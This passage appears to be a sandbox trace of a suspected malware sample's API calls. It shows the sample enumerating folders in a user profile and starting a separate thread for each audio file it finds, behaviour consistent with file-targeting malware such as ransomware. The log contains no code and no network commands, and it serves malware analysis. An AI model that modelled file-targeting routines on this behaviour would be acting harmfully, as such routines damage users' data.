lpThreadId=0x0) returned 0x1208 [0097.211] FindNextFileW (in: hFindFile=0x1cd9c9d0, lpFindFileData=0x1ce1e6e0 | out: lpFindFileData=0x1ce1e6e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 0 [0097.211] FindClose (in: hFindFile=0x1cd9c9d0 | out: hFindFile=0x1cd9c9d0) returned 1 [0097.212] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1e6e0) returned 1 [0097.212] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8589d0) returned 1 [0097.212] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b858a30) returned 1 Thread: id = 260 os_tid = 0xd40 [0087.810] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4c) returned 0x1cd9ca30 [0087.810] wcscpy (in: _Dest=0x1cd9ca30, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links" [0087.810] wcscat (in: _Dest=0x1cd9ca30, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\" [0087.810] wcscat (in: _Dest=0x1cd9ca30, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\*" [0087.810] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1e950 [0087.810] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\*", lpFindFileData=0x1ce1e950 | out: lpFindFileData=0x1ce1e950*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9ca90 [0087.810] wcscmp (_String1=".", _String2=".") returned 0 [0087.810] FindNextFileW (in: hFindFile=0x1cd9ca90, lpFindFileData=0x1ce1e950 | out: lpFindFileData=0x1ce1e950*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.810] wcscmp (_String1="..", _String2=".") returned 1 [0087.811] wcscmp (_String1="..", _String2="..") returned 0 [0087.811] FindNextFileW (in: hFindFile=0x1cd9ca90, lpFindFileData=0x1ce1e950 | out: lpFindFileData=0x1ce1e950*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0087.811] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0087.811] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0087.811] FindNextFileW (in: hFindFile=0x1cd9ca90, lpFindFileData=0x1ce1e950 | out: lpFindFileData=0x1ce1e950*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.lnk", cAlternateFileName="")) returned 1 [0087.811] wcscmp (_String1="Desktop.lnk", _String2=".") returned 1 [0087.811] wcscmp (_String1="Desktop.lnk", _String2="..") returned 1 [0087.811] FindNextFileW (in: hFindFile=0x1cd9ca90, lpFindFileData=0x1ce1e950 | out: lpFindFileData=0x1ce1e950*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x3a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloads.lnk", cAlternateFileName="DOWNLO~1.LNK")) returned 1 [0087.811] wcscmp (_String1="Downloads.lnk", _String2=".") returned 1 [0087.811] wcscmp (_String1="Downloads.lnk", _String2="..") returned 1 [0087.811] FindNextFileW (in: hFindFile=0x1cd9ca90, lpFindFileData=0x1ce1e950 | out: lpFindFileData=0x1ce1e950*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0x0, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 1 [0087.812] wcscmp (_String1="RecentPlaces.lnk", _String2=".") returned 1 [0087.812] wcscmp (_String1="RecentPlaces.lnk", _String2="..") returned 1 [0087.812] FindNextFileW (in: hFindFile=0x1cd9ca90, lpFindFileData=0x1ce1e950 | out: lpFindFileData=0x1ce1e950*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0x0, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 0 [0087.812] FindClose (in: hFindFile=0x1cd9ca90 | out: hFindFile=0x1cd9ca90) returned 1 [0087.812] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1e950) returned 1 [0087.812] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9ca30) returned 1 [0087.812] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bef0) returned 1 Thread: id = 261 os_tid = 0xd44 [0087.826] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5e) returned 0x1b7c2130 [0087.826] wcscpy (in: _Dest=0x1b7c2130, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings" [0087.827] wcscat (in: _Dest=0x1b7c2130, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\" [0087.827] wcscat (in: _Dest=0x1b7c2130, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\*" [0087.827] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1e950 [0087.827] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\*", lpFindFileData=0x1ce1e950 | out: lpFindFileData=0x1ce1e950*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0087.827] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1e950) returned 1 [0087.827] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c2130) returned 1 [0087.827] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c21a0) returned 1 Thread: id = 262 os_tid = 0xd48 [0087.850] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4c) returned 0x1cd9ca30 [0087.850] wcscpy (in: _Dest=0x1cd9ca30, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music" [0087.850] wcscat (in: _Dest=0x1cd9ca30, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\" [0087.850] wcscat (in: _Dest=0x1cd9ca30, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\*" [0087.850] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1e950 [0087.850] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\*", lpFindFileData=0x1ce1e950 | out: lpFindFileData=0x1ce1e950*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd9aeaec0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xd9aeaec0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9ca90 [0087.851] wcscmp (_String1=".", _String2=".") returned 0 [0087.851] FindNextFileW (in: hFindFile=0x1cd9ca90, lpFindFileData=0x1ce1e950 | out: lpFindFileData=0x1ce1e950*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd9aeaec0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xd9aeaec0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.851] wcscmp (_String1="..", _String2=".") returned 1 [0087.851] wcscmp (_String1="..", _String2="..") returned 0 [0087.851] FindNextFileW (in: hFindFile=0x1cd9ca90, lpFindFileData=0x1ce1e950 | out: lpFindFileData=0x1ce1e950*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6519fde0, ftCreationTime.dwHighDateTime=0x1d5e6bc, ftLastAccessTime.dwLowDateTime=0x724321e0, ftLastAccessTime.dwHighDateTime=0x1d5dcf8, ftLastWriteTime.dwLowDateTime=0x724321e0, ftLastWriteTime.dwHighDateTime=0x1d5dcf8, nFileSizeHigh=0x0, nFileSizeLow=0xe533, dwReserved0=0x0, dwReserved1=0x0, cFileName="1Qpi.wav", cAlternateFileName="")) returned 1 [0087.851] wcscmp (_String1="1Qpi.wav", _String2=".") returned 1 [0087.851] wcscmp (_String1="1Qpi.wav", _String2="..") returned 1 [0087.851] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1b7c21a0 [0087.851] wcscpy (in: _Dest=0x1b7c21a0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music" [0087.851] wcscat (in: _Dest=0x1b7c21a0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\" [0087.851] wcscat (in: _Dest=0x1b7c21a0, _Source="1Qpi.wav" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\1Qpi.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\1Qpi.wav" [0097.414] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7c21a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x968 [0097.415] FindNextFileW (in: hFindFile=0x1cd9ca90, lpFindFileData=0x1ce1e950 | out: lpFindFileData=0x1ce1e950*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb1add50, ftCreationTime.dwHighDateTime=0x1d5e399, ftLastAccessTime.dwLowDateTime=0xe7d6cb60, ftLastAccessTime.dwHighDateTime=0x1d5dba8, ftLastWriteTime.dwLowDateTime=0xe7d6cb60, ftLastWriteTime.dwHighDateTime=0x1d5dba8, nFileSizeHigh=0x0, nFileSizeLow=0x11f91, dwReserved0=0x0, dwReserved1=0x0, cFileName="9ekLx0xAJ 9fUEk9-2q.wav", cAlternateFileName="9EKLX0~1.WAV")) returned 1 [0097.415] wcscmp (_String1="9ekLx0xAJ 9fUEk9-2q.wav", _String2=".") returned 1 [0097.415] wcscmp (_String1="9ekLx0xAJ 9fUEk9-2q.wav", _String2="..") returned 1 [0097.415] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b79d470 [0097.415] wcscpy (in: _Dest=0x1b79d470, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music" [0097.415] wcscat (in: _Dest=0x1b79d470, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\" [0097.415] wcscat (in: _Dest=0x1b79d470, _Source="9ekLx0xAJ 9fUEk9-2q.wav" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\9ekLx0xAJ 9fUEk9-2q.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\9ekLx0xAJ 9fUEk9-2q.wav" [0097.415] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b79d470, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x808 [0097.416] FindNextFileW (in: hFindFile=0x1cd9ca90, lpFindFileData=0x1ce1e950 | out: lpFindFileData=0x1ce1e950*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80f888f0, ftCreationTime.dwHighDateTime=0x1d5e771, ftLastAccessTime.dwLowDateTime=0x3b6cfe40, ftLastAccessTime.dwHighDateTime=0x1d5e52f, ftLastWriteTime.dwLowDateTime=0x3b6cfe40, ftLastWriteTime.dwHighDateTime=0x1d5e52f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bfEs56wmOOmKXQ", cAlternateFileName="BFES56~1")) returned 1 [0097.416] wcscmp (_String1="bfEs56wmOOmKXQ", _String2=".") returned 1 [0097.416] wcscmp (_String1="bfEs56wmOOmKXQ", _String2="..") returned 1 [0097.416] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x66) returned 0x1b7a3570 [0097.416] wcscpy (in: _Dest=0x1b7a3570, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music" [0097.416] wcscat (in: _Dest=0x1b7a3570, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\" [0097.416] wcscat (in: _Dest=0x1b7a3570, _Source="bfEs56wmOOmKXQ" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ" [0097.416] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7a3570, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7d8 [0097.417] FindNextFileW (in: hFindFile=0x1cd9ca90, lpFindFileData=0x1ce1e950 | out: lpFindFileData=0x1ce1e950*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0097.417] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0097.417] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0097.417] FindNextFileW (in: hFindFile=0x1cd9ca90, lpFindFileData=0x1ce1e950 | out: lpFindFileData=0x1ce1e950*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb102b730, ftCreationTime.dwHighDateTime=0x1d5ddd7, ftLastAccessTime.dwLowDateTime=0xbc47c1f0, ftLastAccessTime.dwHighDateTime=0x1d5d9f2, ftLastWriteTime.dwLowDateTime=0xbc47c1f0, ftLastWriteTime.dwHighDateTime=0x1d5d9f2, nFileSizeHigh=0x0, nFileSizeLow=0xe3c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="mlcc0pJ83BVDZTQ61.m4a", cAlternateFileName="MLCC0P~1.M4A")) returned 1 [0097.417] wcscmp (_String1="mlcc0pJ83BVDZTQ61.m4a", _String2=".") returned 1 [0097.417] wcscmp (_String1="mlcc0pJ83BVDZTQ61.m4a", _String2="..") returned 1 [0097.417] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b79d5f0 [0097.417] wcscpy (in: _Dest=0x1b79d5f0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music" [0097.418] wcscat (in: _Dest=0x1b79d5f0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\" [0097.418] wcscat (in: _Dest=0x1b79d5f0, _Source="mlcc0pJ83BVDZTQ61.m4a" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\mlcc0pJ83BVDZTQ61.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\mlcc0pJ83BVDZTQ61.m4a" [0097.418] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b79d5f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x73c [0097.418] FindNextFileW (in: hFindFile=0x1cd9ca90, lpFindFileData=0x1ce1e950 | out: lpFindFileData=0x1ce1e950*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ffdca10, ftCreationTime.dwHighDateTime=0x1d5e4df, ftLastAccessTime.dwLowDateTime=0xf8fb36f0, ftLastAccessTime.dwHighDateTime=0x1d5dd6b, ftLastWriteTime.dwLowDateTime=0xf8fb36f0, ftLastWriteTime.dwHighDateTime=0x1d5dd6b, nFileSizeHigh=0x0, nFileSizeLow=0xb5cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="MZcML1V.m4a", cAlternateFileName="")) returned 1 [0097.418] wcscmp (_String1="MZcML1V.m4a", _String2=".") returned 1 [0097.418] wcscmp (_String1="MZcML1V.m4a", _String2="..") returned 1 [0097.418] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b7a3340 [0097.419] wcscpy (in: _Dest=0x1b7a3340, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music" [0097.419] wcscat (in: _Dest=0x1b7a3340, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\" [0097.419] wcscat (in: _Dest=0x1b7a3340, _Source="MZcML1V.m4a" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\MZcML1V.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\MZcML1V.m4a" [0097.419] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7a3340, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x71c [0097.419] FindNextFileW (in: hFindFile=0x1cd9ca90, lpFindFileData=0x1ce1e950 | out: lpFindFileData=0x1ce1e950*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67fb9330, ftCreationTime.dwHighDateTime=0x1d5dfdb, ftLastAccessTime.dwLowDateTime=0x12fa6a20, ftLastAccessTime.dwHighDateTime=0x1d5e826, ftLastWriteTime.dwLowDateTime=0x12fa6a20, ftLastWriteTime.dwHighDateTime=0x1d5e826, nFileSizeHigh=0x0, nFileSizeLow=0x18016, dwReserved0=0x0, dwReserved1=0x0, cFileName="wjzsou.mp3", cAlternateFileName="")) returned 1 [0097.419] wcscmp (_String1="wjzsou.mp3", _String2=".") returned 1 [0097.419] wcscmp (_String1="wjzsou.mp3", _String2="..") returned 1 [0097.420] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5e) returned 0x1b86e560 [0097.420] wcscpy (in: _Dest=0x1b86e560, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music" [0097.420] wcscat (in: _Dest=0x1b86e560, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\" [0097.420] wcscat (in: _Dest=0x1b86e560, _Source="wjzsou.mp3" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\wjzsou.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\wjzsou.mp3" [0097.420] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86e560, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5a8 [0097.420] FindNextFileW (in: hFindFile=0x1cd9ca90, lpFindFileData=0x1ce1e950 | out: lpFindFileData=0x1ce1e950*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67fb9330, ftCreationTime.dwHighDateTime=0x1d5dfdb, ftLastAccessTime.dwLowDateTime=0x12fa6a20, ftLastAccessTime.dwHighDateTime=0x1d5e826, ftLastWriteTime.dwLowDateTime=0x12fa6a20, ftLastWriteTime.dwHighDateTime=0x1d5e826, nFileSizeHigh=0x0, nFileSizeLow=0x18016, dwReserved0=0x0, dwReserved1=0x0, cFileName="wjzsou.mp3", cAlternateFileName="")) returned 0 [0097.421] FindClose (in: hFindFile=0x1cd9ca90 | out: hFindFile=0x1cd9ca90) returned 1 [0097.421] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1e950) returned 1 [0097.421] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9ca30) returned 1 [0097.421] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c300) returned 1 Thread: id = 263 os_tid = 0xd4c [0087.859] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1b7c2130 [0087.859] wcscpy (in: _Dest=0x1b7c2130, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents" [0087.860] wcscat (in: _Dest=0x1b7c2130, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\" [0087.860] wcscat (in: _Dest=0x1b7c2130, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\*" [0087.860] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1ebc0 [0087.860] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\*", lpFindFileData=0x1ce1ebc0 | out: lpFindFileData=0x1ce1ebc0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0087.860] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1ebc0) returned 1 [0087.860] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c2130) returned 1 [0087.861] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b858a90) returned 1 Thread: id = 264 os_tid = 0xd50 [0087.866] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x50) returned 0x1b858a90 [0087.866] wcscpy (in: _Dest=0x1b858a90, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood" [0087.866] wcscat (in: _Dest=0x1b858a90, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\" [0087.866] wcscat (in: _Dest=0x1b858a90, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\*" [0087.866] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1ebc0 [0087.866] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\*", lpFindFileData=0x1ce1ebc0 | out: lpFindFileData=0x1ce1ebc0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, 